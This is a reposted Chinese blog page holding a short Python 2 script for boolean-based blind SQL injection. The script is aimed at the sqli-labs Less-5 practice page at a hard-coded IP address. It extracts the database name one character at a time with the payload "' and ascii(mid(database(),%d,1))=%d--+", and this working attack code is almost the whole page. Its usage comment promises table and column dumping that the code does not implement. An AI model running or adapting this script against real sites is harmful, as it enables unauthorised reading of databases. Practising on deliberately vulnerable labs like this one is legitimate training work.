盲注脚本2.基于bool

最新推荐文章于 2023-04-22 18:21:40 发布

weixin_30530523

最新推荐文章于 2023-04-22 18:21:40 发布

阅读量87

点赞数

文章标签：移动开发数据库 python

原文链接：http://www.cnblogs.com/nul1/p/8537202.html

版权

盲注脚本2.基于bool

 1 #!/usr/bin/env python 
 2 #encoding:utf-8
 3 #by i3ekr
 4 #using
 5 #    python sqlinject.py -D "数据库名" -T "表明" -C "列明" --dump "列明"
 6 #
 7 import requests,re,os
 8 web = "http://139.199.179.167/sql-inject/sqli-labs/Less-5/index.php?id=1"
 9 payloads = list("abcdefghijklmnopqrstuvwxyz0123456789@_.")
10 headers = {
11     'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
12 }
13 value = ''
14 
15 for i in xrange(1,15,1):
16     for payload in payloads:
17         url = web + "' and ascii(mid(database(),%d,1))=%d--+"%(i,ord(payload))
18         html_doc = requests.get(url,params=headers,timeout=2).text
19         if "You are" in html_doc:
20             value += payload
21             print "[+][%d] database name is:%s"%(i,payload)
22             break
23         else:
24             pass
25 
26 print value